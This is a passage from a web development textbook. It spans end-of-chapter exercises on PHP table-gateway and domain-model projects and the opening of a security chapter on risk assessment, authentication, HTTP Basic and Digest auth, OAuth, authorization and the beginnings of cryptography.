
17.7.1 Key Terms
Active Record pattern

Adapter pattern

business layer

business objects

business process

business rule

cohesion

controller

coupling

CRUD

data access objects

dependency



Dependency Injection pattern

design patterns

domain layer

Domain Model pattern

domain objects

entities

enterprise patterns

functional testing

gateway

layer

model

Model-View-Controller (MVC) pattern

non-functional testing

object model

ORM

page-oriented development approach

Simple Factory pattern

software design

Table Data Gateway pattern

table gateways



Template Method pattern

tier

two-layer model

use cases

variable variables

view

17.7.2 Review Questions
1. 1. What problems do design patterns address?

2. 2. When should you consider using page-oriented development?

3. 3. When should you consider applying design patterns?

4. 4. Which pattern helps you abstract your database so that the technology
can be easily changed?

5. 5. Why are layers useful for increasing cohesion?

6. 6. Explain what coupling is, and why we should aim to reduce it.

7. 7. Why is the domain model pattern so intuitive to developers who are
familiar with object-oriented programming?

8. 8. Discuss the relative advantages and disadvantages of the Table Data
Gateway pattern in contrast to the Active Record pattern.

9. 9. How do presentation patterns simplify application design?

10. 10. Why is testing web applications more challenging than desktop
applications?



17.7.3 Hands-On Practice

Project 1: Travel

Difficulty Level: Beginner

Overview
Learn how to make use of a simple layer infrastructure for accessing
databases.

Hands-on Exercises
Project 17.1

Instructions
1. You have been provided with a class named DatabaseHelper which is a

simple adapter class for the PDO API. Examine this class, which is
within the lib folder. Look as well at the include file travel-
config.inc.php, which defines database connection constants as well as
an auto-loader function that will automatically include all class files in
the lib folder. Finally, this include file invokes the static method
createConnectionInfo() to make the connection to the Travel
database. You thus need only include the travel-config.inc.php file at the
top of any page that needs access to the database.

2. You have been provided with three simple table gateway classes:
ContinentDB CountryDB, and ImageDB. Examine and then use the



provided test page testdb-classes.php, which should demonstrate these
classes work correctly.

3. Create a new gateway class named CityDB which includes getAll() and
findById() methods. In CityDB create a method called
getAllWithImages(), which is similar to the same method in the
CountryTableGateway class, but which returns only cities that have
related records in the ImageDetails table. Modify the provided test page
testdb-classes.php, so that it demonstrates your new methods work.

4. Create a new gateway class named ImageRatingDB which also includes
getAll() and findById() methods. In ImageRatingDB create a method
called findAvgRating() which returns the average rating for a specific
image.

Test
1. To test these classes you will need to make use of the test pages

described in the above steps.

Project 2: Book

Difficulty Level: Intermediate

Overview
Learn how to adapt existing PHP pages to make use of a layer infrastructure.

Hands-on Exercises



Project 17.2

Instructions
1. You have been provided with a variety of classes and include files. Read

the description in step 1 of Project 1 to better understand these files.
Examine and then use the provided test page testdb-classes.php, which
should demonstrate these classes work correctly.

2. Create two new gateway classes named ImprintDB and SubcategoryDB
which includes getAll() and findById() methods. Modify the
provided test page testdb-classes.php, so that it demonstrate these new
classes works correctly.

3. Add two new methods to BookDB named getAllBySubcategory() and
getAllByImprint() that return all books that match the passed
SubcategoryID or ImprintID. Modify the provided test page testdb-
classes.php, so that it demonstrate these new classes works correctly.

4. Modify the supplied browse-books.php page (see Figure 17.18 ) so that
it makes use of these new classes and methods.



Figure 17.18 Completed



Project 2
Figure 17.18 Full Alternative Text

Test
1. To test these classes you should first use the test pages described in steps

one and two.

2. Your pages should have the functionality shown in Figure 17.18 .



Project 3: Book Rep Customer
Relations Management

Difficulty Level: Advanced

Overview
Make use of a three-layered infrastructure that uses the Domain Model
pattern.

Hands-on Exercises
Project 17.3

Instructions
1. You have been provided with an interface for a database adapter named

DatabaseAdapterInterface as well as a concrete implementation
named DatabaseAdapterPDO that implements an adapter to the PDO
database API. Examine these files and then use adapterTester.php to
verify the adapter class works.

2. Write a tester page for these new active record classes. You have been
provided with an abstract class called DomainObject along with several
domain subclasses. Implement additional domain subclasses: Gallery
and Painting. Use the provided test page DomainTesterForArt.php,
which should demonstrate your new classes work.



3. You have been provided with an abstract class called TableDataGateway
along with two gateway subclasses: ArtistTableGateway and
GenreTableGateway. These gateway classes make use of the Domain
subclasses. Implement two additional gateway subclasses:
PaintingTableGateway and GalleryTableGateway. For the
PaintingTableGateway class, create a method called getAllByGenre(),
which returns art works for the specified genre id. Modify the provided
test page GatewayTesterForArt.php, so that it demonstrates your new
methods and classes work.

4. Integrate these new classes into the supplied single-painting.php,
browse-genres.php, and single-genre.php pages.

Test
1. Begin with the browse-genres.php page. The finished pages will have

functionality similar to that shown in Figure 17.19 .





Figure 17.19 Completed
Project 3

Figure 17.19 Full Alternative Text
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18 Security



Chapter Objectives
In this chapter you will learn …

A wide range of security principles and practices

Best practices for authentication systems and data storage

About public key cryptography, SSL, and certificates

How to proactively protect your site against common attacks

Throughout this book we have occasionally notified you of the security risks
of a particular tool or practice. In part that's because security is only achieved
if you think about it throughout a project, not simply at the end. This chapter
provides a deeper coverage of security-related matters including
cryptography, information security, potential attacks, and theory. With
foundational security concepts in mind, we then apply those ideas to web
development by describing best practices for securing your server and some
common attacks with defenses.



18.1 Security Principles
It is often the case that a developer will only consider security toward the end
of a project, and by then it is much too late. Errors in the hosting
configuration, code design, policies, and implementation can infiltrate
through the application like holes in Swiss cheese. Filling these holes takes
time, and the patched systems are often less elegant and manageable, if the
holes get filled at all. The right way of addressing security is right from the
beginning and all along the way so that you can plan for a secure system and
hopefully have one in the end. Security theory and practice will guide you in
that never-ending quest to proactively defend your data and systems, which
you will see, touches all aspects of software development.

The principal challenge with security is that threats exist in so many different
forms. Not only is a malicious hacker on a tropical island a threat but so too
is a sloppy programmer, a disgruntled manager, or a naive secretary.
Moreover, threats are ever changing, and with each new counter measure,
new threats emerge to supplant the old ones. Since websites are an
application of networks and computer systems, you must draw from those
disciplines to learn many foundational security ideas. Later you will also see
some practical ways to harden your system against malicious users and
defend against programming errors.

18.1.1 Information Security
There are many different areas of study that relate to security in computer
networks. information security is the holistic practice of protecting
information from unauthorized users. Computer/IT security is just one aspect
of this holistic thinking, which addresses the role computers and networks
play. The other is information assurance, which ensures that data is not lost
when issues do arise.



The CIA Triad
At the core of information security is the CIA triad: confidentiality, integrity,
and availability, often depicted with a triangle showing their equality as in
Figure 18.1 .

Figure 18.1 The CIA triad:
confidentiality, integrity, and
availability

Confidentiality is the principle of maintaining privacy for the data you are
storing, transmitting, etc. This is the concept most often thought of when
security is brought up.

Integrity is the principle of ensuring that data is accurate and correct. This can
include preventing unauthorized access and modification, but also extends to
disaster preparedness and recovery.

Availability is the principle of making information available when needed to
authorized people. It is essential to making the other two elements relevant,
since without it, it's easy to have a confidential and integral system (a locked
box). This can be extended to high-availability, where redundant systems
must be in place to ensure high uptime.



Security Standards
In addition to the triad, there are ISO standards ISO/IEC 27002-270037 that
speak directly (and thoroughly) about security techniques and are routinely
adopted by governments and corporations the world over. These standards
are very comprehensive, outlining the need for risk assessment and
management, security policy, and business continuity to address the triad.
This chapter touches on some of those key ideas that are most applicable to
web development.

18.1.2 Risk Assessment and
Management
The ability to assess risk is crucial to the web development world. Risk is a
measure of how likely an attack is, and how costly the impact of the attack
would be if successful. In a public setting like the WWW, any connected
computer can attempt to attack your site, meaning there are potentially
several million threats. Knowing which ones to worry about allows you to
identify the greatest risks and achieve the most impact for your effort by
focusing on them.

Actors, Impact, Threats, and
Vulnerabilities
Risk assessment uses the concepts of actors, impacts, threats, and
vulnerabilities to determine where to invest in defensive countermeasures.

The term “actors” refers to the people who are attempting to access your
system. They can be categorized as internal, external, and partners.

Internal actors are the people who work for the organization. They can



be anywhere in the organization from the cashier through the IT staff, all
the way to the CEO. Although they account for a small percentage of the
attacks, they are especially dangerous due to their internal knowledge of
the systems.

External actors are the people outside of the organization. They have a
wide range of intent and skill, and they are the most common source of
attacks. It turns out that more than three quarters of external actors are
affiliated with organized crime or nation states.1

Partner actors are affiliated with an organization that you partner or
work with. If your partner is somehow compromised, there is a chance
your data is at risk as well because quite often partners are granted some
access to each other's systems (to place orders, for example).

The impact of an attack depends on what systems were infiltrated and what
data was stolen or lost. The impact relates back to the CIA triad since impact
could be the loss of availability, confidentiality, and/or integrity.

A loss of availability prevents users from accessing some or all of the
systems. This might manifest as a denial of service attack, or a SQL
injection attack (described later), where the payload removes the entire
user database, preventing logins from registered users.

A loss of confidentiality includes the disclosure of confidential
information to a (often malicious) third party. It can impact the human
beings behind the usernames in a very real way, depending on what was
stolen. This could manifest as a cross-site script attack where data is
stolen right off your screen or a full-fledged database theft where credit
cards and passwords are taken.

A loss of integrity changes your data or prevents you from having
correct data. This might manifest as an attacker hijacking a user session,
perhaps placing fake orders or changing a user's home address.

A threat refers to a particular path that a hacker could use to exploit a
vulnerability and gain unauthorized access to your system. Sometimes called
attack vectors, threats need not be malicious. A flood destroying your data



center is a threat just as much as malicious SQL injections, buffer overflows,
denial of service, and cross-site scripting attacks.

Broadly, threats can be categorized using the STRIDE mnemonic, developed
by Microsoft, which describes six areas of threat2:

S poofing—The attacker uses someone else's information to access the
system.

T ampering—The attacker modifies some data in nonauthorized ways.

R epudiation—The attacker removes all trace of their attack, so that they
cannot be held accountable for other damages done.

I nformation disclosure—The attacker accesses data they should not be
able to.

D enial of service—The attacker prevents real users from accessing the
systems.

E levation of privilege—The attacker increases their privileges on the
system thereby getting access to things they are not authorized to do.

Vulnerabilities are the security holes in your system. This could be an un-
sanitized user input or a bug in your Apache software, for example. Once
vulnerabilities are identified, they can be assessed for risk. Some
vulnerabilities are not fixed because they are unlikely to be exploited, while
others are low risk because the consequences of an exploit are not critical.
The top five classes of vulnerability from the Open Web Application Security
Project3 are:

1. Injection

2. Broken authentication and session management

3. Cross-site scripting

4. Insecure direct object references



5. Security misconfiguration

Assessing Risk
Many very thorough and sophisticated risk assessment techniques exist and
can be learned about in the Risk Management Guide for Information
Technology Systems published by National Institute of Standards &
Technology (NIST).4 For our purposes, it will suffice to summarize that in
risk assessment you would begin by identifying the actors, vulnerabilities,
and threats to your information systems. The probability of an attack, the skill
of the actor, and the impact of a successful penetration are all factors in
determining where to focus your security efforts.

Using Table 18.1 you can see an example of the relationship between the
probability of an attack and its impact on an organization. The table weighs
impact more highly than probability since the impact matters more than the
likelihood. A threshold is used to separate which threats should be addressed
from those you can ignore. In this example we use 16 as a threshold, being
the lowest score for high-impact threats, although in practice it's a range of
design considerations that dictate where to draw the line.

Table 18.1 Example of an
Impact/Probability Risk
Assessment Table Using 16 as
the Threshold



Table 18.1 Full Alternative Text

18.1.3 Security Policy
One often underestimated technique to deal with security is to clearly
articulate policies to users of the system to ensure they understand their rights
and obligations. These policies typically fall into three categories:

Usage policy defines what systems users are permitted to use, and under
what situations. A company may, for example, prohibit social
networking while at work, even though the IT policies may allow that
traffic in. Usage policies are often designed to reduce risk by removing
some attack vector from a particular class of system.

Authentication policy controls how users are granted access to the
systems. These policies may specify where an access badge is needed, a
biometric ID, or when a password will suffice. Often hated by users,
these policies most often manifest as simple password policies, which
can enforce length restrictions and alphabet rules as well as expiration of
passwords after a set period of time.

Note
Password expiration policies are contentious because more frequently
changing passwords become harder to remember, especially with



requirements for nonintuitive punctuation and capitalization. The probability
of a user writing the password down on a sticky note increases as the
passwords become harder to remember.

Ironically, draconian password policies introduce new attack vectors,
nullifying the purpose of the policy at the first place. Where authentication is
critical, two-factor authentication (described in Section 18.2) should be
applied in place of micromanaged password policies that do not increase
security.

Legal policies define a wide range of things including data retention and
backup policies as well as accessibility requirements (like having all
public communication well organized for the blind). These policies must
be adhered to in order to keep the organization in compliance.

Good policies aim to modify the behavior of internal actors, but will not stop
foolish or malicious behavior by employees. However, as one piece of a
complete security plan, good policies can have a tangible impact.

18.1.4 Business Continuity
The unforeseen happens. Whether it's the death of a high-level executive, or
the failure of a hard drive, business must continue to operate in the face of
challenges. The best way to be prepared for the unexpected is to plan while
times are good and thinking is clear in the form of a business continuity
plan/disaster recovery plan. These plans are normally very comprehensive
and include matters far beyond IT. Some considerations that relate to IT
security are as follows.

Admin Password Management
If a bus suddenly killed the only person who has the password to the database
server, how would you get access? This type of question may seem morbid,
but it is essential to have an answer to it. The solution to this question is not
an easy one since you must balance having the passwords available if needed



and having the passwords secret so as not to create vulnerability.

There must also be a high level of trust in the system administrator since they
can easily change passwords without notifying anyone, and it may take a long
time until someone notices. Administrators should not be the only ones with
keys, as was the case in 2008 when City of San Francisco system
administrator, Terry Childs, locked out his own employer from all the
systems, preventing access to anyone but himself.5

Some companies include administrator passwords in their disaster recovery
plans. Unfortunately, those plans are often circulated widely within an
organization, and divulging the root passwords widely is a terrible practice.

A common plan is a locked envelope or safe that uses the analogy of a fire
alarm—break the seal to get the passwords in an emergency. Unfortunately, a
sealed envelope is easily opened and a locked safe can be opened by anyone
with a key (single-factor authentication). To ensure secrecy, you should
require two people to simultaneously request access to prevent one person
alone from secretly getting the passwords in the box, although all of this
depends on the size of the organization and the type of information being
secured.

Pro Tip
An unannounced disaster recovery exercise is a great way to spot-check that
your administrator has not changed vital passwords without notifying
management to update the lockbox (whether by malice or incompetence).

Backups and Redundancy
Backups are an essential element of business continuity and are easy to do for
web applications so long as you are prepared to do them. What do you
typically need to back up? The answer to this question can be determined by
first deciding what is required to get a site up and running:



Hands-on Exercises Lab 18
Exercise
Website Backups

A server configured with Apache to run our PHP code with a database
server installed on the same or another machine.

The PHP code for the domain.

The database dump with all tables and data.

The speed with which you want to recover from a web breach determines
which of the above you should have on hand. For large e-commerce sites
where downtime could mean significant financial loss, fast response is
essential so a live backup server with everything already mirrored is the best
approach, although this can be a costly solution.

In less critical situations, simply having the database and code somewhere
that is accessible remotely might suffice. Any downtime that occurs while the
server is reconfigured may be acceptable, especially if no data is lost in the
process.

No matter the speed you wish to recover, backups can be configured to
happen as often as needed, with a wide range of options (full vs. differential).
You must balance backup frequency against the value of information that
would be lost, so that critical information is backed up more frequently than
less critical data.

Geographic Redundancy
The principle of a geographically distinct backup is to have backups in a
different place than the primary systems in case of a disaster. Storing CD



backups on top of a server does you no good if the server catches fire (and
the CDs with it). Similarly, having a backup server in the same server rack as
the primary system makes them prone to the same outages. When this idea is
taken to a logical extreme, even a data center in the same city could be
considered nonsecure, since a natural disaster or act of war could impact
them both.

Thankfully, purchasing geographically remote server and storage space can
be done relatively cheaply using a shared hosting environment. Look for
hosts that tell you the geographic locations of their servers so that you can
choose one that is geographically distinct from your primary systems.

Stage Mock Events
All the planning in the world will go to waste if no one knows the plan, or the
plan has some fatal flaws. It's essential to actually execute mock events to test
out disaster recovery plans. When planning for a mock disaster scenario, it's a
perfect time to “kill” some key staff by sending them on vacation allowing
new staff to get up to speed during the pressure of a mock disaster. In
addition to removing staff, consider removing key pieces of technology to
simulate outages (take away phones, filter out Google, take away a hard
drive). Problems that arise in the recovery of systems during a mock exercise
provide insight into how to improve your planning for the next scenario, real
or mock. It can also be a great way to cross-train staff and build camaraderie
in your teams.

Auditing
Auditing is the process by which a third party is invited (or required) to check
over your systems to see if you are complying with regulations and your
claims. Auditing happens in the financial sector regularly, with a third-party
auditor checking a company's financial records to ensure everything is as it
should be. Oftentimes, simply knowing an audit will be done provides
incentive to implement proper practices.



The practice of logging, where each request for resources is stored in a secure
log, provides auditors with a wealth of data to investigate. Linux, by default,
stores logs related to ssh and other network access. You can exert control
over these and the logging of your Apache server. Chapter 19 provides some
insight into good logging practices.

Another common practice is to use databases to track when records are edited
or deleted by storing the timestamp, the record, the change, and the user who
was logged in. These logs are often stored in separate, audit tables.

18.1.5 Secure by Design
Secure by design is a software engineering principle that tries to make
software better by acknowledging and addressing that there are malicious
users out there. By continually distrusting user input (and even internal
values) throughout the design and implementation phases, you will produce
more secure software than if you didn't consider security at every stage. Some
techniques that have developed to help keep your software secure include
code reviews, pair programming, security testing, and security by default.

Figure 18.2 illustrates how security can be applied at every stage of the
classic waterfall software development life cycle. While not all of the
illustrated inputs are covered in this textbook, it does cover many of the most
impactful strategies for web development.



Figure 18.2 Some examples of
security input into the SDLC

Figure 18.2 Full Alternative Text

Code Reviews
In a code review system, programmers must have their code peer-reviewed
before committing it to the repository. In addition to peer-review, new
employees are often assigned a more senior programmer who uses the code
review opportunities to point out inconsistencies with company style and
practice.

Code reviews can be both formal and informal. The formal reviews are
usually tied to a particular milestone or deadline whereas informal reviews
are done on an ongoing basis, but with less rigor. In more robust code
reviews algorithms can be traced or tested to ensure correctness.



Unit Testing
Unit testing is the principle of writing small programs to test your software as
you develop it. Usually the units in a unit test are a module or class, and the
test can compare the expected behavior of the class against the actual output.
If you break any existing functionality, a unit test will discover it right away,
saving you future headache and bugs. Unit tests should be developed
alongside the main web application and be run with code reviews or on a
periodic basis. When done properly, they test for boundary conditions and
situations that can hide bugs, which could be a security hole.

Hands-on Exercises Lab 18
Exercise
PHP Unit Tests

Pair Programming
Pair programming is the technique where two programmers work together at
the same time on one computer. One programmer drives the work and
manipulates the mouse and keyboard while the other programmer can focus
on catching mistakes and high-level thinking. After a set time interval the
roles are switched and work continues. In addition to having two minds to
catch syntax errors and the like, the team must also agree on any
implementation details, effectively turning the process into a continuous code
review.

Security Testing
Security testing is the process of testing the system against scenarios that



attempt to break the final system. It can also include penetration testing
where the company attempts to break into their own systems to find
vulnerabilities as if they were hackers. Whereas normal testing focuses on
passing user requirements, security testing focuses on surviving one or more
attacks that simulate what could be out in the wild.

Secure by Default
Systems are often created with default values that create security risks (like a
blank password). Although users are encouraged somewhere in the user
manual to change those settings, they are often ignored, as exemplified by the
tales of ATM cash machines that were easily reprogrammed by using the
default password.6 Secure by default aims to make the default settings of a
software system secure, so that those type of breaches are less likely even if
the end users are not very knowledgeable about security.

18.1.6 Social Engineering
Social engineering is the broad term given to describe the manipulation of
attitudes and behaviors of a populace, often through government or industrial
propaganda and/or coercion. In security circles, software engineering takes
on the narrower meaning referring to the techniques used to manipulate
people into doing something, normally by appealing to their baser instincts.

Social engineering is the human part of information security that increases
the effectiveness of an attack. No one would click a link in an email that said
click here to get a virus, but they might click a link to get your free vacation.
A few popular techniques that apply social engineering are phishing scams
and security theater.

Phishing scams, almost certainly not new to you, manifest famously as the
Spanish Prisoner or Nigerian Prince Scams.7 In these techniques a malicious
user sends an email to everyone in an organization about how their password
has expired, or their quota is full, or some other ruse to make them feel



anxious that they must act by clicking the link and providing their login
information. Of course the link directs them to a fake site that looks like the
authentic site, except for the bogus URL, which only some people will
recognize.

Hands-on Exercises Lab 18
Exercise
Go Phishing

While good defenses, in the form of spam filters, will prevent many of these
attacks, good policies will help too, with users trained not to click links in
emails, preferring instead to always type the URL to log in. Some
organizations go so far as to set up false phishing scams that target their own
employees to see which ones will divulge information to such scams. Those
employees are then retrained or terminated.

Security theater is when visible security measures are put in place without too
much concern as to how effective they are at improving actual security. The
visual nature of these theatrics is thought to dissuade potential attackers. This
is often done in 404 pages where a stern warning might read:

Your IP address is XX.XX.XX.XX. This unauthorized access attempt
has been logged. Any illegal activity will be reported to the authorities.

This message would be an example of security theater if this stern statement
is a site's only defense. When used alone, security theater is often ridiculed as
not a serious technique, but as part of a more complete defense it can
contribute a deterrent effect.



18.2 Authentication
To achieve both confidentiality and integrity, the user accessing the system
must be who they purport to be. Authentication is the process by which you
decide that someone is who they say they are and therefore permitted to
access the requested resources. Whether getting entrance to an airport, getting
past the bouncer at the bar, or logging into your web application, you have
already seen authentication in action.

18.2.1 Authentication Factors
Authentication factors are the things you can ask someone for in an effort to
validate that they are who they claim to be. As illustrated in Figure 18.3 the
three categories of authentication factor, knowledge, ownership, and
inherence, are commonly thought of as the things you know, the things you
have, and the things you are.

Figure 18.3 Authentication



factors
Figure 18.3 Full Alternative Text

Knowledge
Knowledge factors are the things you know. They are the small pieces of
knowledge that supposedly only belong to a single person such as a
password, PIN, challenge question (what was your first dog's name), or
pattern (like on some mobile phones).

These factors are vulnerable to someone finding out the information. They
can also be easily shared.

Ownership
Ownership factors are the things that you possess. A driving license,
passport, cell phone, or key to a lock are all possessions that could be used to
verify you are who you claim to be.

Ownership factors are vulnerable to theft just like any other possession. Some
ownership factors can be duplicated like a key, license, or passport while
others are much harder to duplicate such as a cell phone or dedicated
authentication token.

Inherence Factors
Inherence factors are the things you are. This includes biometric data like
your fingerprints, retinal pattern, and DNA sequence but sometimes it
includes things that are unique to you like a signature, vocal pattern, or
walking gait.



These factors are much more difficult to forge, especially when they are
combined into a holistic biometric scan.

18.2.2 Authentication Factors
Single-factor authentication is the weakest and most common category of
authentication system where you ask for only one of the three factors. An
implementation is as simple as knowing a password or possessing a
magnetized key badge to gain access.

Single-factor authorization relies on the strength of passwords and on the
users being responsive to threats such as people looking over their shoulder
during password entry as well as phishing scams and other attacks. This is
why banks do not allow you to use your birthday as your PIN and websites
require passwords with special characters and numbers. When better
authentication confidence is required, more than one authentication factor
should be considered.

Multifactor authentication is where two distinct factors of authentication must
pass before you are granted access. This dramatically improves security, with
any attack now having to address two authentication factors, which will
require at least two different attack vectors. Typically one of the two factors
is a knowledge factor supplemented by an ownership factor like a card or
pass. The inherent factors are still very costly to implement although they can
provide better validation.

The way we all access an ATM machine is an example of two-factor
authentication: you must have both the knowledge factor (PIN) and the
ownership factor (card) to get access to your account.

So well accepted are the concepts of multifactor authentication that they are
referenced by the US Department of Homeland Security as well as the credit
card industry, which publishes standards that require two-factor
authentication to gain access to networks where card holder information is
stored.8



Multifactor authentication is becoming prevalent in consumer products as
well, where your cell phone is used as the ownership factor alongside your
password as a knowledge factor.

Note
Many industries are starting to become aware of the risk that poor
authentication has on their data. Unfortunately, some have attempted to
implement what they think is two-factor authentication, by having clients
know the answers to security questions in addition to a password. Since both
factors are knowledge factors, this is not two-factor authentication.

Moreover, as more and more companies start to ask for these personal
security questions, their value diminishes; since your mother will only have
one maiden name that has to be divulged and used over and over (a common
example).

18.2.3 HTTP Authentication
Web authentication is a very broad topic, and in this chapter our coverage of
it is spread across several different sections. Here we are going to discuss
some of the fundamentals of HTTP authentication.

HTTP supports several different forms of authentication via the www-
authenticate response header. Perhaps the two most common forms of
HTTP authentication are basic authentication and digest authentication.

HTTP Basic Authentication
HTTP Basic Authentication is a way for the server to indicate that a
username and password is required to access a resource. When the server
receives a request for a protected resource, it can send the following response.



HTTP/1.1 401 Access Denied 

WWW-Authenticate: Basic realm=“Members Area” 

Content-Length: 0

The text content of the Basic realm string can be any value. The browser
can now display a pop-up login dialog, and the original request is resent with
the entered username and password provided via the Authorization HTTP
header.

GET /members/examanswers.html HTTP/1.1 

Host: www.funwebdev.com 

Authorization: Basic cmFuZHk6bXlwYXNzd29yZA==

This Authorization header would then accompany all subsequent requests.
This approach is sometimes referred to as an example of challenge-response
authentication, in that the server provides a “challenge” (no access until you
tell me who you are), and the client has to immediately provide a response.

One of the key drawbacks with Basic Authentication is that there is no easy
way to log a user out once he or she has logged in. But Basic Authentication
has a much more serious drawback.

You might wonder what is in that random-looking bunch of letters and
numbers. It looks encrypted, but it is not. It is a Base64 encoding of the
username and password in the form username:password. In the above
example, it is the encoded string randy:mypassword. The trouble with
Base64 encoding is that it is an open standard that is easily decoded. This
means that Basic HTTP Authentication is very vulnerable to man-in-the-
middle attacks. That is, anyone who can eavesdrop in on the communication
will have access to the user's username and password combination. For this
reason, Basic Authentication cannot be considered a secure form of
authentication unless the entire communication is encrypted via SSL/HTTPS
(covered in Section 18.4).

HTTP Digest Authentication
Due to the clear drawbacks of Basic Authentication, the HTTP specification
supports another form of authentication called HTTP Digest Authentication.

http://www.funwebdev.com


Like Basic Authentication, it uses the challenge-response approach but the
username+password combination in the Authenticate header is encrypted
using the MD5 hash (which is covered in more detail in Section 18.5). To
protect against replay attacks (covered in Section 18.6), an additional entity
called a nonce (a one-time random value) is also communicated as part of
Digest Authentication.

While certainly superior to Basic Authentication without SSL, it is still
vulnerable to man-in-the-middle attacks. Someone who intercepts this
communication has access to the digest (i.e., the hashed username and
password). Once someone else has access to your digest, that person is able
to impersonate you by making use of your digest. While the use of a nonce
generally solves this problem, not all servers make use of them.

Furthermore, while the digest is encrypted, it is still vulnerable to dictionary
attacks; that is, it is possible to reverse engineer a hashed value by looking up
the hash in something called a rainbow table. A rainbow table is a special
table in which the plaintext version of a hash can be looked up. These files
are often hundreds of GBs in size and as such can be time-consuming to
search through, but they do provide a commonly-available technique for
decrypting MD5 hashed values.

Form-Based Authentication
For these two reasons, when secure communication is needed, websites
generally do not use either of these HTTP authentication approaches. Instead,
some form of form-based authentication is used, which gives a site complete
control over the visual experience of the login form (unlike HTTP
authentication which uses a browser-generated form). This means an HTML
form is presented to the user, and the login credential information is sent via
regular HTTP POST. This has the same vulnerabilities (or even more
vulnerabilities since HTTP POST data is not even encoded) as Basic
Authentication. Security is instead provided by TLS (Transport Layer
Security) and HTTPS (covered in Section 18.4), which encrypts the entirety
of all requests and responses (and not just the Authentication header as in
Digest Authentication). Digest Authentication nonetheless is still used when



HTTPS is too slow, or when a HTML form cannot be presented to the user.
Web services (covered in Chapter 19), for instance, often make use of Digest
Authentication.

18.2.4 Third-Party Authentication
Some of you may be reading this and thinking, this is hard. Authentication is
easy when it's a username and password, but not so when you really consider
it in depth (and just wait until you see how to store the credentials).

Fortunately, many popular services allow you to use their system to
authenticate the user and provide you with enough data to manage your
application. This means you can leverage users' existing relationships with
larger services to benefit from their investment in authentication while
simultaneously tapping into the additional services they support.

Third-party authentication schemes like OpenID and oAuth are popular with
developers and are used under the hood by many major websites including
Amazon, Facebook, Microsoft, and Twitter, to name but a few. This means
that you can present your users with an option to either log in using your
system, or use another provider.

OAuth
Open authorization (OAuth) is a popular authorization framework that allows
users to use credentials from one site to authenticate at another site. It has
matured from version 1.0 in 2007 to the newest specification (2.0) in 2012. A
constant work in progress, the writers acknowledge that many
“noninteroperable implementations” are likely.9

Hands-on Exercises Lab 18



Exercise
Authenticate with Twitter

OAuth 2.0 provides a rich authorization framework with well-defined
security properties. However, as a rich and highly extensible framework
with many optional components, on its own, this specification is likely
to produce a wide range of non-interoperable implementations.

Therefore, we will cover the broad strokes of OAuth, leaving out the
implementation details that would differ from provider to provider.

OAuth uses four user roles in its framework.

The resource owner is normally the end user who can gain access to the
resource (though it can be a computer as well).

The resource server hosts the resources and can process requests using
access tokens.

The client is the application making requests on behalf of the resource
owner.

The authorization server issues tokens to the client upon successful
authentication of the resource owner. Often this is the same as the
resource server.

Before you begin to work with an OAuth provider, you typically register with
their authorization servers to obtain cryptographically secure codes you will
use so the authentication server can validate that you are who you claim to be
when requesting authorization on behalf of users.

As shown in Figure 18.4 , websites that implement OAuth (clients) direct
resource owners (users) to log in at the authorization server. After a
successful login, the authorization server transmits one-time tokens to the
user in the form of a redirect to the client, which ensures the authentication
token gets to the client. The client, armed with this authentication code, can



combine it with the secret obtained originally to authenticate and request an
access token, which can then be used to access protected resources.

Figure 18.4 The steps required
to register and authenticate a
user using OAuth



Figure 18.4 Full Alternative Text

These tokens are not passwords, but rather strings that may contain user info,
expiration date, and even cryptographic information. The details of the tokens
are left up to the implementation, but generally relate to the assets and data of
that user. Granular authorization options are often maintained by the resource
server (you can read but not post, for example), but this is up to the
implementation. This means that to actually build a functioning system, you
will have to learn about several implementations and manage each one a little
bit differently. That in-depth exercise is left to the reader.

18.2.5 Authorization
Authorization defines what rights and privileges a user has once they are
authenticated. It can also be extended to the privileges of a particular piece of
software (such as Apache). Authentication and authorization are sometimes
confused with one another, but are two parts of a whole. Authentication
grants access, and authorization defines what the user with access can (and
cannot) do.

The principle of least privilege is a helpful rule of thumb that tells you to give
users and software only the privileges required to accomplish their work. It
can be seen in systems such as Unix and Windows, with different privilege
levels and inside of content management systems with complex user roles.

Starting out a new user with the least privileged account and adding
permission as needed not only provides security but allows you to track who
has access to what systems. Even system administrators should not use the
root account for their day-to-day tasks, but rather escalate their privileges
when needed.

Some examples in web development where proper authorization increases
security include the following:

Using a separate database user for read and write privileges on a
database.



Providing each user an account where they can access their own files
securely.

Setting permissions correctly so as to not expose files to unauthorized
users.

Using Unix groups to grant users permission to access certain
functionality rather than grant users admin access.

Ensuring Apache is not running as the root account (i.e., the account that
can access everything).

Authorization also applies to roles within content management systems
(covered in Chapter 21) so that an editor and writer can be given
authorization to do different tasks.



18.3 Cryptography
Being able to send a secure message has been an important tool in warfare
and affairs of state for centuries. Although the techniques for doing so have
evolved over the centuries, at a basic level we are trying to get a message
from one actor (we will call her Alice), to another (Bob), without an
eavesdropper (Eve) intercepting the message (as shown in Figure 18.5 ).
These placeholder names are in fact the conventional ones for these roles in
cryptography.

Figure 18.5 Alice transmitting
to Bob with Eve intercepting
the message

Figure 18.5 Full Alternative Text

Eavesdropping could allow someone to get your credentials while they are
being transmitted. This means even if your PIN was shielded, and no one
could see it being entered over your shoulder, it can still be seen as it travels
across the Internet to its destination. Back in Chapter 1, you learned how a
single packet of data can be routed through any number of intermediate



locations on its way to the destination. If that data is not somehow
obfuscated, then getting your password is as simple as reading the data during
one of the hops.

A cipher is a message that is scrambled so that it cannot easily be read, unless
one has some secret knowledge. This secret is usually referred to as a key.
The key can be a number, a phrase, or a page from a book. What is important
in both ancient and modern cryptography is to keep the key a secret between
the sender and the receiver. Alice encrypts the message (encryption) and Bob,
the receiver, decrypts the message (decryption) both using their keys as
shown in Figure 18.6 . Eavesdropper Eve may see the scrambled message
(cipher text), but cannot easily decrypt it, and must perform statistical
analysis to see patterns in the message to have any hope of breaking it.

Figure 18.6 Alice and Bob
using symmetric encryption to
transmit messages

Figure 18.6 Full Alternative Text

To ensure secure transmission of data, we must draw on mathematical



concepts from cryptography. In the next subsection several ciphers are
described that provide insight into how patterns are sought in seemingly
random messages to encrypt and decrypt messages. The mathematics of the
modern ciphers are described at a high level, but in practice the
implementations are already provided inside of Apache and your web
browsers.

18.3.1 Substitution Ciphers
A substitution cipher is one where each character of the original message is
replaced with another character according to the encryption algorithm and
key.

Caesar
The Caesar cipher, named for and used by the Roman Emperor, is a
substitution cipher where every letter of a message is replaced with another
letter, by shifting the alphabet over an agreed number (from 1 to 25).

The message HELLO, for example, becomes KHOOR when a shift value of
3 is used as illustrated in Figure 18.7 . The encoded message can then be sent
through the mail service to Bob, and although Eve may intercept and read the
encrypted message, at a glance it appears to be a non-English message. Upon
